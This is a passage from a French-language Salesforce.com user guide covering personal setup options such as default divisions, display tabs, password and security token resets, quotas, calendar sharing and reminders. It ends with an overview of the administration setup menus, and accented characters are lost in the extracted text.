ils sont attribus au service de l'enregistrement existant. Le service par dfaut n'est pas utilis.
Le paramtrage du service par dfaut ne vous empche pas de visualiser ou de crer des enregistrements dans d'autres services.
Pour plus d'informations, reportez-vous Prsentation des services la page 63.
Pour changer de service par dfaut :
1. Cliquez sur Configuration Mes informations personnelles Informations personnelles.
Pour modifier le service par dfaut d'un autre utilisateur, cliquez sur Configuration Gestion des utilisateurs
Utilisateurs et slectionnez le nom de l'utilisateur. Reportez-vous Transfert de services la page 244 pour transfrer le
service par dfaut pour plusieurs utilisateurs.
2. Cliquez sur Modifier en regard du champ Service par dfaut.
3. Slectionnez le nouveau service par dfaut.
4. Slectionnez une option pour dterminer si les enregistrements dont vous tes responsable doivent galement tre transfrs
vers le nouveau service.
5. Cliquez sur Enregistrer.

Voir aussi :
Transfert de services
Modification de votre service

Personnalisation de votre affichage

Disponible avec : Toutes les ditions

Cliquez sur Configuration Mes informations personnelles Changer mon affichage pour modifier diffrentes options
d'affichage personnelles. Vous pouvez:

Cliquer sur Personnaliser mes onglets pour modifier les onglets qui s'affichent lorsque vous tablissez une connexion ou,
si vous possdez plusieurs sous-applications, pour modifier les onglets qui s'affichent dans chacune d'elles. Par dfaut, les

Configuration personnelle

Guide de l'utilisateur | Affichage de tous les onglets | 31

onglets qui apparaissent sont ceux qui sont dfinis pour votre profil. Ajoutez les onglets que vous voulez afficher, modifiez
l'ordre d'affichage et cliquez sur Enregistrer.
Remarque: Le premier onglet qui s'affiche lorsque vous slectionnez une sous-application peut changer si votre
administrateur modifie l'onglet de destination par dfaut de la sous-application. Reportez-vous Modification des
proprits des sous-applications la page 684.

Slectionner un objet dans la liste droulante et cliquer sur Personnaliser mes pages pour personnaliser l'affichage.
-

Personnalisez l'instantan du tableau de bord qui apparat sur votre onglet Accueil. Slectionnez le tableau de bord
utiliser et cliquez sur Enregistrer. Le lien de personnalisation de l'onglet Accueil n'est disponible que si l'administrateur
a personnalis la prsentation de page d'accueil pour y inclure un tableau de bord.
Pour tous les autres onglets, choisissez les listes associes qui apparaissent sur vos pages de dtails. Pour ajouter ou
supprimer des listes associes, slectionnez le titre d'une liste et cliquez sur la flche Ajouter ou Supprimer. Pour
modifier l'ordre des listes associes, slectionnez le titre d'une liste dans la zone lments slectionns, puis cliquez sur
la flche Haut ou Bas. Cliquez sur Enregistrer lorsque vous avez termin.
Remarque: Votre personnalisation des listes associes peut tre modifie si l'administrateur modifie la prsentation
de page d'un onglet spcifique. Reportez-vous Gestion des prsentations de page la page 544.

Vous accdez galement la page Personnaliser mon affichage via le lien Personnaliser la page de la section Tableau de bord
de l'onglet Accueil ou sur chaque page de dtails des enregistrements.
Pour personnaliser l'affichage des dossiers dans l'onglet Rapports, reportez-vous Page d'accueil des rapports la page 1679.

Voir aussi :
Modification du tableau de bord de votre onglet Accueil
Affichage de tous les onglets

Affichage de tous les onglets

Disponible avec : Toutes les ditions

Pour afficher tous les onglets disponibles pour vous dans Salesforce.com, cliquez sur l'onglet le plus droite qui comporte une
icne flche.
Figure 1: Affichage de tous les onglets dans Salesforce.com
Depuis cette page, vous pouvez :

Cliquer sur le nom d'un onglet pour accder rapidement ce dernier.

Si vous disposez de plusieurs sous-applications, utilisez la liste droulante Afficher pour visualiser le logo de chaque
sous-application et les onglets correspondants.
Cliquez sur Personnaliser mes onglets pour modifier l'affichage des onglets l'cran.

Configuration personnelle

Guide de l'utilisateur | Modification du mot de passe | 32

Remarque: Si vous disposez de l'dition Enterprise Edition ou Unlimited Edition, votre administrateur peut masquer
les onglets des fonctions que vous n'utilisez pas dans votre entreprise. Pour plus d'informations, reportez-vous
Dfinition des sous-applications personnalises la page 682.

Voir aussi :
Personnalisation de votre affichage

Modification du mot de passe

Disponible avec : Toutes les ditions

Vous pouvez tout moment modifier votre mot de passe en cliquant sur Configuration Mes informations personnelles
Modifier mon mot de passe. Dans Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition ou Developer Edition, l'administrateur peut galement rinitialiser votre mot de passe (reportez-vous
Rinitialisation des mots de passe la page 98).
Lors de la modification du mot de passe, si vous n'avez pas dj slectionn puis rpondu une question de scurit, vous tes
invit le faire. Si vous oubliez votre mot de passe, vous devez rpondre correctement cette question pour le rinitialiser.
Vous pouvez avoir besoin d'activer votre ordinateur afin qu'il se connecte avec succs Salesforce.com chaque fois que votre
mot de passe est modifi ou rinitialis, ou lorsque vous vous connectez partir d'un ordinateur que vous n'avez encore jamais
utilis pour accder Salesforce.com. L'activation de votre ordinateur permet Salesforce.com de vrifier votre identit et
d'viter les accs non autoriss. Pour activer votre ordinateur :
1. A l'invite dans la page de connexion, cliquez sur le bouton Envoyer un lien d'activation. Salesforce.com envoie
automatiquement un e-mail d'activation l'adresse e-mail spcifie dans votre enregistrement d'utilisateur Salesforce.com.
2. Lorsque vous recevez l'e-mail d'activation, copiez et collez le lien d'activation dans votre navigateur.
Le lien d'activation inclus dans l'e-mail est valide copier et coller dans votre navigateur pendant 24 heures au maximum
compter du moment o vous cliquez sur le bouton Envoyer un lien d'activation. Aprs 24 heures, le lien d'activation
arrive expiration, et vous devez rpter le processus d'activation pour vous connecter.
Pour plus d'informations, reportez-vous Configuration des restrictions de connexion la page 144.
Lorsque vous entrez un nouveau mot de passe dans le champ Nouveau mot de passe, un indicateur visuel propose un
commentaire dynamique concernant le niveau de scurit du mot de passe que vous saisissez. Si le mot de passe correspond
aux exigences minimales en matire de politique de mot de passe de votre entreprise, l'indicateur visuel et le texte associ
indiquent que le mot de passe est acceptable et qu'il peut alors tre enregistr. Un conseil s'affiche pour suggrer comment
lever le niveau de scurit du mot de passe et le rendre plus difficile deviner.

Voir aussi :
Rinitialisation de votre jeton de scurit

Configuration personnelle

Guide de l'utilisateur | Ajout et modification de quotas | 33

Rinitialisation de votre jeton de scurit

Disponible avec : Toutes les ditions

Un jeton de scurit est une cl gnre automatiquement que vous devez ajouter la fin de votre mot de passe pour pouvoir
vous connecter Salesforce.com partir d'un rseau non fiable. Par exemple, si votre mot de passe est monmotdepasse et
que votre jeton de scurit est XXXXXXXXXX, vous devez entrer monmotdepasseXXXXXXXXXX pour vous connecter. Les
jetons de scurit sont requis, que vous vous connectiez via l'API ou sur un client de bureau tel que Connect pour Outlook,
Connect Offline, Connect pour Office, Connect pour Lotus Notes, ou le Data Loader.
Un jeton de scurit vous est offert si vous tentez d'accder Salesforce.com partir d'un rseau non fiable. Une fois qu'un
jeton de scurit vous a t fourni, vous avez la possibilit de le rinitialiser tout moment.
Pour rinitialiser votre jeton de scurit, cliquez sur Configuration Mes informations personnelles Rinitialiser le
jeton de scurit, puis cliquez sur le bouton Rinitialiser le jeton de scurit. Le nouveau jeton de scurit est envoy par
e-mail l'adresse lectronique qui figure sur votre fiche d'utilisateur Salesforce.com.
Si on ne vous a jamais offert de jeton de scurit, par exemple parce que votre entreprise limite les adresses IP partir desquelles
vous pouvez vous connecter, le noeud Rinitialiser le jeton de scurit n'apparat pas dans la configuration.
Conseil: Il vous est recommand d'obtenir votre jeton de scurit via l'interface utilisateur Salesforce.com depuis un
rseau scuris avant de tenter d'accder Salesforce.com partir d'une nouvelle adresse IP.

Voir aussi :
Modification du mot de passe

Ajout et modification de quotas

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Vous pouvez effectuer le suivi de vos quotas de vente sur une base trimestrielle. Pour ajouter ou modifier un quota, accdez
aux prvisions du trimestre ou slectionnez Configuration Mes informations personnelles Informations personnelles.
Pour crer un nouveau quota partir de la page Informations personnelles :
1. Cliquez sur Nouveau dans la liste associe aux quotas.
2. Slectionnez l'anne et le trimestre et cliquez sur Suivant.
3. Indiquez les montants mois par mois. N'indiquez pas de symbole de devise. Dans le cas o plusieurs devises sont utilises
dans votre organisation, le quota est cr par dfaut avec votre devise personnelle.
4. Cliquez sur Enregistrer pour achever la procdure. La cration d'un quota entrane automatiquement la cration des
prvisions correspondantes pour le trimestre.

Configuration personnelle

Guide de l'utilisateur | Modification des paramtres de message | 34

Pour modifier un quota, cliquez sur son nom dans la liste associe aux quotas. La modification du montant d'un quota est
automatiquement consigne dans la liste associe l'historique des prvisions correspondantes (reportez-vous Historique
des prvisions la page 1443).
Remarque: Les responsables doivent indiquer le montant de leurs quotas sous la forme d'une somme de tous les quotas
de leur quipe.
Si votre quipe commerciale ne souhaite pas dtailler mensuellement les quotas, mettez zro les montants des deux
premiers mois et indiquez le montant total au niveau du troisime mois.
Si votre organisation utilise plusieurs devises, cliquez sur Modifier la devise dans la liste associe aux quotas pour changer de
devise. Toutes les valeurs des quotas et des prvisions sont automatiquement converties dans la nouvelle devise en utilisant les
taux de change dfinis par l'administrateur.
Remarque: Cette procdure ne s'applique pas aux prvisions personnalisables. Si votre entreprise a activ la fonction
de prvision personnalisable, reportez-vous Configuration des quotas pour les prvisions personnalisables la page
101. Reportez-vous Est-ce que je dispose de la prvision personnalisable ? la page 1445 pour dterminer si l'entreprise
a activ les prvisions personnalisables.

Voir aussi :
Cration de prvisions
Modification des prvisions

Modification des paramtres de message

Disponible avec : Toutes les ditions

Cliquez sur Configuration Adresse e-mail Paramtres de mon message pour changer les paramtres de tous les e-mails
qui sont envoys partir de l'application.
Remarque: Dans Personal Edition et Developer Edition, un slogan Salesforce.com s'ajoute votre signature personnelle
sur tous les e-mails sortants.

Voir aussi :
Envoi d'e-mails

Modification des paramtres personnels Rester en contact

Disponible avec : Toutes les ditions

Pour dfinir vos prfrences relatives aux demandes de mises jour de coordonnes :

Configuration personnelle

Guide de l'utilisateur | Octroi de l'accs votre calendrier | 35

Remarque: Si votre entreprise utilise des comptes personnels, ceux-ci sont galement affects par ces paramtres.
Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la page 1048
1. Cliquez sur Configuration Adresse e-mail Paramtres personnels de Rester en contact.
2. Dans Cci automatique, choisissez Oui pour recevoir une copie des e-mails Rester en contact envoys. Cette option est
disponible uniquement si les messages Cci de conformit ne sont pas activs dans votre entreprise.
3. Activez le rappel pour que le systme vous invite envoyer une demande Rester en contact ds que vous enregistrez un
nouveau contact.
4. Saisissez un objet par dfaut pour les e-mails.
5. Dans la zone de commentaires, entrez un message pour le destinataire.
6. Dans la zone de signature, entrez une signature avec vos coordonnes.
7. Utilisez la zone des champs de fusion en haut de la page pour afficher les valeurs des champs de fusion disponibles, que
vous pouvez copier et coller dans les zones d'objet, de commentaires ou de signature, selon vos besoins.
8. Cliquez sur Enregistrer.

Voir aussi :
Envoi de demandes Rester en contact

Octroi de l'accs votre calendrier

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Vous pouvez autoriser d'autres utilisateurs, des groupes personnels et publics, des rles ou des rles et des subordonns afficher
votre calendrier.
1.
2.
3.
4.

Cliquez sur Configuration Mes informations personnelles Partage du calendrier.

Cliquez sur Ajouter pour partager votre calendrier avec les autres.
Utilisez les flches pour ajouter votre calendrier des utilisateurs, des rles ou des groupes, ou en supprimer.
Dans Accs au calendrier, dfinissez le mode de partage du calendrier en slectionnant l'un des lments suivants :
Option

Description

Masquer les dtails

Les autres utilisateurs peuvent consulter les horaires, mais

n'ont pas accs d'autres informations sur la nature des
vnements du calendrier.

Masquer les dtails et ajouter des vnements

Les autres utilisateurs peuvent consulter les horaires, mais

ne peuvent pas afficher les dtails des vnements. Ils peuvent
insrer des vnements dans le calendrier.

Afficher les dtails

Les autres utilisateurs peuvent afficher des dtails sur les

vnements du calendrier.

Configuration personnelle

Guide de l'utilisateur | Dfinition des prfrences de type d'enregistrement | 36

Option

Description

Afficher les dtails et ajouter des vnements

Les autres utilisateurs peuvent afficher des dtails sur les

vnements du calendrier et insrer des vnements dans le
calendrier.

Accs intgral

Les autres utilisateurs peuvent afficher des dtails sur les

vnements du calendrier, y insrer des vnements et
modifier les vnements prsents.

5. Cliquez sur Enregistrer.

Les options d'accs au calendrier disponibles dpendent du niveau de partage du calendrier l'chelle de l'entreprise
dfini par votre administrateur. Les seules options disponibles sont celles qui rendent l'accs au calendrier moins restrictif. Les
paramtres de partage du calendrier ont une incidence sur la visibilit des lments d'un calendrier, mais ne permettent pas
d'accder aux pages des dtails d'vnement.
Remarque: Que les paramtres de partage de votre entreprise soient par le biais des hirarchies ou non, les activits
associes un enregistrement sont toujours visibles aux utilisateurs au dessus de l'utilisateur affect de l'activit dans
la hirarchie des rles.

Voir aussi :
Accessibilit des activits

Dfinition des prfrences de type d'enregistrement

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Dfinissez une option pour insrer automatiquement votre type d'enregistrement par dfaut lors de la cration d'enregistrements.
Ce paramtre vous permet d'ignorer la page de slection du type d'enregistrement. Si plusieurs types d'enregistrement sont
disponibles, vous souhaitez peut-tre slectionner le type d'enregistrement voulu chaque cration d'enregistrement.
1. Cliquez sur Configuration Mes informations personnelles Slection du type d'enregistrement.
2. Cochez n'importe quelle case pour slectionner automatiquement le type d'enregistrement par dfaut lors de la cration
d'enregistrements de ce type.
Les cases non coches indiquent que vous prfrez tre invit slectionner un type d'enregistrement.
3. Cliquez sur Enregistrer.
Remarque: L'option Slection du type d'enregistrement est indisponible si l'organisation n'utilise pas les types
d'enregistrement ou si plusieurs types d'enregistrement ne sont pas disponibles pour un onglet particulier.
Les cases cocher ne sont disponibles que si un onglet dispose de plusieurs types d'enregistrement.
Si votre entreprise utilise des comptes personnels, cocher la case Compte sur cette page entrane la slection d'un type
d'enregistrement par dfaut pour tous les types de compte. Il n'est pas possible de dfinir des slections distinctes de

Configuration personnelle

Guide de l'utilisateur | Planification des rappels de mise jour d'opportunit | 37

type d'enregistrement par dfaut pour les comptes professionnels et les comptes personnels. Si vous utilisez les deux
types de compte, ne cochez pas cette case.

Voir aussi :
Gestion des types d'enregistrement
Attribution de types d'enregistrement aux profils

Planification des rappels de mise jour d'opportunit

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Une fois que les rappels de mise jour des opportunits sont activs pour votre organisation, tous les utilisateurs possdant
des rapports directs peuvent les planifier.
Pour planifier un rappel de mise jour d'opportunit :
Cliquez sur Configuration Adresse e-mail Mon rappel de mise jour.
Cochez la case Actif si vous souhaitez que les rappels dmarrent aprs l'enregistrement de vos paramtres.
Entrez un nom et une adresse pour l'expditeur des rappels.
Choisissez les destinataires.
Entrez les autres destinataires dans le champ CC. Sparez les adresses e-mail par des virgules, des points-virgules, des
espaces ou des lignes.
6. Entrez un objet et le message intgrer aux rappels des e-mails.
7. Slectionnez une frquence de planification.
8. Slectionnez Inclure les opportunits inactives si vous souhaitez inclure toutes les opportunits ouvertes mais
dont la date de clture n'est pas antrieure plus de 90 jours.
9. Choisissez une Date de clture pour inclure les opportunits dont les dates se situent dans cette plage.
10. Slectionnez les champs intgrer dans les rappels d'e-mails.
1.
2.
3.
4.
5.

Champ

Description

Date de la dernire connexion

Date la plus rcente laquelle le responsable de l'opportunit

s'est connect

Nb d'opportunits ouvertes

Nombre total d'opportunits contenues dans le rapport

Nb non mis jour depuis 30 jours

Nombre total d'opportunits qui n'ont pas t mises jour

depuis 30 jours

Montant d'opportunits ouvertes

Total de tous les montants d'opportunits d'un rapport

Montant total ferm

Montant total ferm de toutes les opportunits d'un rapport.

Si votre entreprise utilise plusieurs devises, ce montant est
converti dans celle de l'utilisateur. Si votre entreprise a
recours la gestion avance des devises, la conversion est
effectue l'aide des taux de change dats.

Configuration personnelle

Guide de l'utilisateur | Recherche des mises jour du client de bureau | 38

Champ

Description

Date de dernire mise jour

Date la plus rcente laquelle le responsable de l'opportunit

a soumis une prvision.
Si votre entreprise utilise plusieurs devises, ce montant est
converti dans celle de l'utilisateur. Si votre entreprise a
recours la gestion avance des devises, la conversion est
effectue l'aide des taux de change dats.

Montant prvisionnel

D'aprs la prvision
Si votre entreprise utilise plusieurs devises, ce montant est
converti dans celle de l'utilisateur l'aide du taux de
conversion standard.
Ce champ n'est pas disponible pour les entreprises qui
utilisent les prvisions personnalisables. Reportez-vous
Est-ce que je dispose de la prvision personnalisable ? la
page 1445.

Chiffre d'affaires maximum

D'aprs la prvision
Ce champ n'est pas disponible pour les entreprises qui
utilisent les prvisions personnalisables. Reportez-vous
Est-ce que je dispose de la prvision personnalisable ? la
page 1445.

11. Cliquez sur Enregistrer.

Lorsqu'un rappel de mise jour d'opportunit ne contient aucun enregistrement, Salesforce.com n'envoie aucun e-mail. Si
aucun e-mail n'est envoy pour trois rappels de mise jour d'opportunit conscutifs, la planification du rappel est dsactive.

Voir aussi :
Activation des rappels de mise jour d'opportunit

Recherche des mises jour du client de bureau

Disponible avec : Toutes les ditions

Les clients de bureau tels que Connect pour Outlook et Connect Offline intgrent Salesforce.com votre ordinateur. Suivez
cette procdure pour connatre les versions des clients de bureau installes sur votre ordinateur et tlchargez les mises jour
disponibles :
1. Cliquez sur Configuration Intgration votre matriel de bureau Rechercher les mises jour.
2. Prenez connaissance dans le tableau ci-dessous des noms et numros de version des clients du bureau disponibles.

Configuration personnelle

Guide de l'utilisateur | Personnalisation des rappels d'activit | 39

3. Si vous utilisez Internet Explorer, cliquez sur le client de bureau correct, puis sur Installer maintenant pour installer un
client.
4. Si vous utilisez un autre navigateur tel que Mozilla Firefox, cliquez sur Tlcharger maintenant pour enregistrer le fichier
du programme d'installation sur votre ordinateur. Double-cliquez ensuite sur le fichier enregistr pour excuter le programme
d'installation.
Votre administrateur contrle les clients de bureau que vous pouvez installer. Connect Offline est le seul client disponible avec
Developer Edition.

Voir aussi :
Prsentation de Force.com Connect pour Microsoft Outlook.
Prsentation de Force.com Connect Offline
Prsentation de Force.com Connect pour Microsoft Office.
Prsentation de Force.com Connect pour Lotus Notes
Affichage des alertes de mise jour client

Personnalisation des rappels d'activit

Disponible avec : Toutes les ditions

Lorsque les rappels sont activs dans votre entreprise, les paramtres de rappel par dfaut sont configurs pour ouvrir la fentre
de rappel et mettre un son quinze minutes avant l'heure de dbut d'un vnement ou 8 h le jour o une tche arrive
chance. Cliquez sur Configuration Mes informations personnelles Rappels pour personnaliser les paramtres de
rappel suivants selon vos besoins.
Paramtre

Description

Dclencher l'alerte lorsque le rappel arrive Lorsqu'il est activ, ce paramtre ouvre la fentre de rappel
chance
lorsqu'un rappel arrive chance.
Activer l'alarme de rappel

Lorsqu'il est activ, ce paramtre met un son lorsqu'un rappel

arrive chance.

Par dfaut, dfinissez le rappel des

vnements sur :

Lorsqu'il est activ, ce paramtre dfinit un rappel au niveau

de tous les nouveaux vnements. Dans la liste droulante,
slectionnez le laps de temps qui doit s'couler entre le rappel
et l'vnement venir. Vous pouvez dsactiver le rappel ou
changer l'heure de rappel lorsque vous modifiez l'vnement.

Par dfaut, dfinir le rappel des tches

sur :

Lorsqu'il est activ, ce paramtre dfinit un rappel au niveau

de toutes les nouvelles tches. Dans la liste droulante,
slectionnez l'heure, le jour de l'chance de la tche, laquelle
vous souhaitez tre rappel de la tche. Toutes les tches, y
compris celles cres par un workflow, utilisent cette valeur par
dfaut. Vous pouvez dsactiver le rappel ou changer l'heure
de rappel lorsque vous modifiez une tche.

Configuration personnelle

Guide de l'utilisateur | Personnalisation des rappels d'activit | 40

Pour tester vos paramtres, cliquez sur Prvisualiser l'alerte de rappel.

Remarque: Si la fentre d'aperu n'apparat pas, vrifiez que vous n'avez pas activ le blocage des fentres intempestives.
Pour plus d'informations, reportez-vous Je ne parviens pas visualiser les fentres contextuelles Salesforce.com telles
que les botes de dialogue de recherche et la fentre Aide & formation. Pourquoi ? la page 2134

Voir aussi :
Dfinition de rappels pour les activits
Modification des tches
Modification des vnements

Gestion de l'administration
Configuration de votre organisation
Les options de configuration disponibles dpendent de votre dition de Salesforce.com.

Cliquez sur Configuration Configuration de l'administration pour ouvrir la page Configuration de l'administration. Elle
contient des options de configuration et de personnalisation qui aident configurer votre organisation Salesforce.com.
Mise en route

Guide de dploiement : consultez ce guide pour obtenir des exemples de configuration de Salesforce.com et pour russir
le dploiement de l'application. Ce guide n'est pas disponible dans Personal Edition, ni dans Developer Edition.

Gestion des utilisateurs

Dveloppez le dossier Gestion des utilisateurs sous Configuration de l'administration pour accder aux options suivantes :

Utilisateurs : permet de crer, de modifier et de dsactiver des utilisateurs (reportez-vous Gestion des utilisateurs la
page 93 et Gestion des utilisateurs du portail client la page 1313).
Envoyer des messages en masse aux utilisateurs : permet d'envoyer un e-mail plusieurs utilisateurs simultanment
(reportez-vous Envoi de messages en masse la page 1388).
Rles : permet de dfinir la hirarchie des rles de votre organisation (reportez-vous Gestion des rles la page 102).
Profiles : permet de configurer les profils utilisateur pour contrler les autorisations, l'accs la connexion, ainsi que la
scurit au niveau du champ des utilisateurs (reportez-vous Gestion des profils la page 108, Dfinition des restrictions
de connexion la page 144 et Configuration de la scurit au niveau du champ la page 182).
Groupes publics : permet d'ajouter, de mettre jour ou de supprimer des groupes publics (reportez-vous Gestion des
groupes la page 135).
Queues : permet d'ajouter, de mettre jour ou de supprimer des files d'attente de requtes, de pistes ou d'objets personnaliss
(reportez-vous Gestion des files d'attente la page 139).
Historique des connexions : permet de connatre le moment o les utilisateurs se connectent (reportez-vous Surveillance
des connexions la page 148).
Historique de formation : permet de connatre les utilisateurs ayant suivi une formation en ligne (reportez-vous Surveillance
de l'historique de formation la page 149).

Profil de la socit
Dveloppez le dossier Profil de la socit sous Configuration de l'administration pour accder aux options suivantes :

Informations sur la socit : permet de mettre jour les informations concernant votre socit et de configurer plusieurs
devises (reportez-vous Informations sur la socit la page 45).
Gestion des devises : permet de configurer plusieurs devises (reportez-vous Gestion de plusieurs devises la page 56).
Grer les services : permet de dfinir des services pour segmenter vos donnes en vue d'une utilisation plus aise
(reportez-vous Prsentation des services la page 62).
Exercices : permet de dfinir les exercices de l'entreprise (reportez-vous propos des exercices la page 47).
Heures d'ouverture : permet de dfinir les heures d'ouverture de votre quipe de support personnalise (reportez-vous
Dfinition des heures d'ouverture la page 593)
Vacances : permet de dfinir des vacances pendant lesquelles les heures d'ouverture de votre quipe de support personnalise
ne s'appliquent pas (reportez-vous Dfinition des vacances la page 595)

Gestion de l'administration

Guide de l'utilisateur | Configuration de votre organisation | 42

Contrles de scurit
Dveloppez le dossier Commandes de scurit sous Configuration de l'administration pour accder aux options suivantes :

Paramtres de partage : permet de dfinir la faon dont les utilisateurs partagent des donnes (reportez-vous Dfinition
du modle de partage par dfaut pour votre entreprise la page 163 et Dfinition des rgles de partage la page 177).
Accessibilit du champ : permet de connatre l'accs dont disposent les utilisateurs des champs spcifiques en fonction
des types de profil et d'enregistrement (reportez-vous Vrification de l'accessibilit des champs la page 565).
Stratgies de mot de passe : permet de dfinir des stratgies de mot de passe pour la scurit (reportez-vous Dfinition
des stratgies de mot de passe la page 184).
Accs rseau : dfinit les adresses IP partir desquelles les utilisateurs peuvent se connecter votre entreprise (consultez
la rubrique Restriction des plages IP de connexion pour Votre entreprise la page 187).
Paramtres de session : permet de verrouiller les sessions des utilisateurs sur une adresse IP spcifique ou de modifier les
paramtres d'expiration de session (reportez-vous Configuration de la scurit de session la page 185).
Afficher le journal d'audit de configuration : permet de connatre les utilisateurs ayant rcemment modifi la configuration
de votre entreprise (reportez-vous Surveillance des modifications de configuration la page 206).
Rapport du responsable du compte : permet d'empcher les utilisateurs d'excuter le rapport des responsables de compte,
qui rpertorie tous les comptes et leurs responsables (reportez-vous Activation du rapport du responsable du compte la
page 213).
Administration dlgue : permet aux utilisateurs standard d'effectuer certaines tches administratives (reportez-vous
Dlgation des tches administratives la page 209).
Paramtres du site distant : permet d'indiquer les URL que votre entreprise peut appeler partir de Salesforce.com. Vous
devez spcifier un site avant de l'appeler partir de pages Apex Visualforce, sinon le proxy AJAX ne fonctionne pas
correctement (reportez-vous au manuel AJAX Toolkit Developer's Guide).
Faire expirer tous les mots de passe : permet de faire expirer les mots de passe de tous les utilisateurs de votre entreprise
(reportez-vous Rinitialisation des mots de passe la page 98).
Paramtres des pices jointes et des documents HTML - Permet d'empcher les utilisateurs de tlcharger des fichiers
HTML en pices jointes ou vers l'onglet Documents (reportez-vous Refus des pices jointes et des documents HTML
la page 214).

Modles de communication
Dveloppez le dossier Modles de communication sous Configuration de l'administration pour accder aux options suivantes :

En-ttes : permet de crer des en-ttes prsentant une marque commerciale pour l'envoi d'e-mails HTML (reportez-vous
Utilisation des en-ttes la page 74).
Modles de message : permet de crer des modles d'e-mails pour homogniser les communications (reportez-vous
Gestion des modles de message la page 76).
Modles de publipostage : permet de tlcharger des modles pour des documents de publipostage (reportez-vous
Gestion des modles de publipostage la page 70).

Systme de traduction
Dveloppez le dossier Systme de traduction sous Configuration de l'administration pour accder aux options permettant
de traduire pour vos utilisateurs trangers les lments suivants : noms de champs personnaliss, texte d'aide des champs
personnaliss, listes associes personnalises, onglets Web personnaliss, valeurs de liste de slection, types d'enregistrement,
sections de prsentation de page, catgories de solutions, groupes de catgories de solutions, catgories de donnes, messages
d'erreur de validation de champ, noms de sous-applications personnalises, tiquettes de commandes s-control personnalises,
boutons et liens personnaliss, noms de service, motifs de partage Apex, objet et descriptions de tches de workflow, noms de
type de rapport personnalis, noms de section sur les prsentations de type de rapport et noms des colonnes de la page
Slectionnez les colonnes de l'assistant de gnration des rapports crs partir des types de rapport personnalis (reportez-vous
Configuration du systme de traduction la page 88).

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Guide de l'utilisateur | Configuration de votre organisation | 43

Gestion des donnes

Dveloppez le dossier Gestion des donnes sous Configuration de l'administration pour accder aux options suivantes :

Instantans analytiques : permettent aux utilisateurs de gnrer automatiquement des rapports et d'en enregistrer les
rsultats dans des champs d'objets personnaliss en vue d'une personnalisation future 'reportez-vous Configuration
desInstantans analytiques la page 227).
Importer les comptes/contacts, Importer des comptes personnels, Importer des pistes, Importer les solutions et
Importer les objets personnaliss : permettent d'importer les comptes, les contacts, les objets personnaliss, les pistes, les
comptes personnels et les solutions (reportez-vous Accs aux assistants d'importation la page 287).
Exportation de donnes : permet d'exporter les donnes de votre entreprise (reportez-vous Exportation des donnes de
sauvegarde la page 216).
Utilisation du stockage : permet de connatre l'espace de stockage de donnes et de fichiers utilis par votre entreprise
(reportez-vous Surveillance des ressources la page 218).
Transfert en masse d'enregistrements : permet de transfrer plusieurs enregistrements simultanment (reportez-vous
Transfert en masse des enregistrements la page 222).
Supprimer des enregistrements en masse : permet de supprimer plusieurs enregistrements simultanment (reportez-vous
Suppression en masse de donnes la page 225).
Transfrer en masse des demandes d'approbation : permet de transfrer plusieurs demandes d'approbation simultanment
(reportez-vous Gestion de plusieurs demandes d'approbation la page 224).
Supprimer toutes les donnes : permet de supprimer les donnes de l'organisation d'valuation (reportez-vous Suppression
des donnes d'valuation la page 2).
quipes de comptes de rattribution en masse et quipes d'opportunit de rattribution en masse : permettent d'ajouter,
de supprimer et de rattribuer des membres des quipes de comptes et de vente concernant plusieurs enregistrements
(reportez-vous Nouvelle attribution de plusieurs membres d'quipe la page 241).
Transfert en masse de service : permet de modifier le service de plusieurs enregistrements (reportez-vous Prsentation
des services la page 62 et Transfert de services la page 244).
Sandbox : permet de crer une copie unique et complte de l'entreprise dans un environnement spar afin d'y effectuer
plusieurs actions, comme le test d'assurance qualit, le test d'intgration ou la formation des utilisateurs, sans altrer les
donnes de l'entreprise (reportez-vous Force.com Sandbox la page 246).
Adresses de mise jour en masse - Met jour les champs Pays ou Dpartement/Rgion de tous les enregistrements
comprenant une adresse. Cela inclut les adresses des comptes, contacts, contrats, factures, pistes et commandes (reportez-vous
Mise jour en masse d'adresses la page 245).
Data Loader : permet de tlcharger une application client qui permet d'importer, de mettre jour, de supprimer et
d'exporter d'importantes quantits d'enregistrements (reportez-vous Prsentation du module Data Loader la page 305).

Surveillance
Dveloppez le dossier Surveillance sous Configuration de l'administration pour accder aux options suivantes :

Importations : permettent l'administrateur de contrler la file d'attente d'importation afin d'afficher les dtails concernant
l'importation ou d'annuler l'importation d'une entreprise (reportez-vous Utilisation de la file d'attente d'importation
la page 321).
Messages sortants : permettent un administrateur d'afficher la file d'attente des messages sortants afin de contrler le
statut des messages sortants associs au workflow ou aux processus d'approbation (reportez-vous Suivi du statut de
livraison des messages sortants la page 322).
Workflow en temps rel : permet d'indiquer les critres de surveillance de la file d'attente de workflow, qui contient des
actions en attente dclenches par les rgles de workflow (reportez-vous Surveillance de la file d'attente du workflow
la page 323).
Hirarchisation des requtes : permet d'indiquer les critres de surveillance de la file d'attente de hirarchisation des
requtes, qui contient les actions en attente dclenches par les rgles de hirarchisation des requtes (reportez-vous
Surveillance de la file dattente des rgles de hirarchisation des requtes la page 324).

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Guide de l'utilisateur | Configuration de votre organisation | 44

Notifications d'utilisation de l'API : permet de dfinir un processus de notification qui envoie automatiquement un e-mail
l'utilisateur indiqu lorsque les demandes d'API pour une entreprise dpassent la limite spcifie (reportez-vous
propos des notifications d'utilisation de l'API la page 325).
E-mails en masse : permet d'afficher le statut des envois planifis d'e-mails en masse et d'annuler les e-mails en masse, le
cas chant (reportez-vous Surveillance de la file d'attente d'envoi d'e-mails en masse la page 327).
Journaux de dbogage : permet d'indiquer les utilisateurs pour lesquels vous voulez conserver les journaux de dbogage
Apex dans votre entreprise (reportez-vous Gestion des journaux de dbogage la page 328).
Tches prvues : permet d'afficher toutes les tches programmes par les utilisateurs, comme les instantans analytiques
et le rafrachissement du tableau de bord (reportez-vous Surveillance des tches prvues la page 330).
Fichiers journaux des e-mails : permet de demander les rcapitulatifs des e-mails envoys depuis Salesforce.com au cours
des 30 derniers jours (reportez-vous Fichiers journaux des e-mails la page 333).
Tches de chargement des donnes en masse : surveille le statut des tches actuelles et rcentes de chargement des donnes
en masse (reportez-vous Surveillance des tches de chargement de donnes en masse la page 339).

Administration mobile
Dveloppez le dossier Administration mobile sous Configuration de l'administration pour crer des configurations mobiles
